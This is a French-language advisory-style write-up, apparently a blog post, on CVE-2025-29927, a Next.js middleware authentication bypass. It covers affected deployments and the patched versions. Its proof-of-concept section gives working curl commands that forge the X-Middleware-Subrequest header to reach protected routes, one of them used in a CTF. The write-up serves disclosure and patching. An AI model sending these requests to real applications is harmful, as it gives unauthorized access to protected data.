CVE-2025-29927 — Contournement de l'authentification du middleware Next.js

Aperçu

Imaginez un videur à l'entrée d'un club, mais si vous lui dites "Je suis déjà à l'intérieur", il vous laisse passer sans vérifier. C'est exactement ce que fait CVE-2025-29927.

Le middleware dans Next.js s'exécute avant qu'une requête ne soit traitée, ce qui en fait l'endroit idéal pour gérer l'authentification. Next.js utilise un en-tête interne x-middleware-subrequest pour empêcher les requêtes récursives et éviter les boucles infinies. Cette vulnérabilité montre qu'il est possible de contourner ou d'ignorer complètement l'exécution du middleware — y compris les vérifications de sécurité critiques comme l'authentification avant d'atteindre une route protégée.

Versions concernées

Applications vulnérables

• Applications hébergeant Next.js et utilisant un middleware
• Applications qui s'appuient sur le middleware pour l'authentification et les vérifications de sécurité sans valider plus loin dans la pile applicative

Non concernées

• Applications hébergées sur Vercel
• Applications hébergées sur Netlify
• Applications publiées sous forme d'exports statiques (le middleware n'est pas exécuté)

Impact

Des milliers ou des millions d'applications fonctionnent avec des versions de Next.js non corrigées. Sans atténuation, cette vulnérabilité permet à quiconque d'accéder à des routes protégées sans authentification — aucun identifiant requis.

Preuve de concept

curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3000/private-area

La réponse renvoie la page protégée sans aucune authentification.

J'ai exploité cette vulnérabilité dans un environnement CTF réel

curl -s "http://<target>/<private-area>" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

Correctif

Mettez à niveau Next.js vers une version corrigée :

• 15.x → 15.2.3 ou supérieur
• 14.x → 14.2.25 ou supérieur
• 13.x → 13.5.9 ou supérieur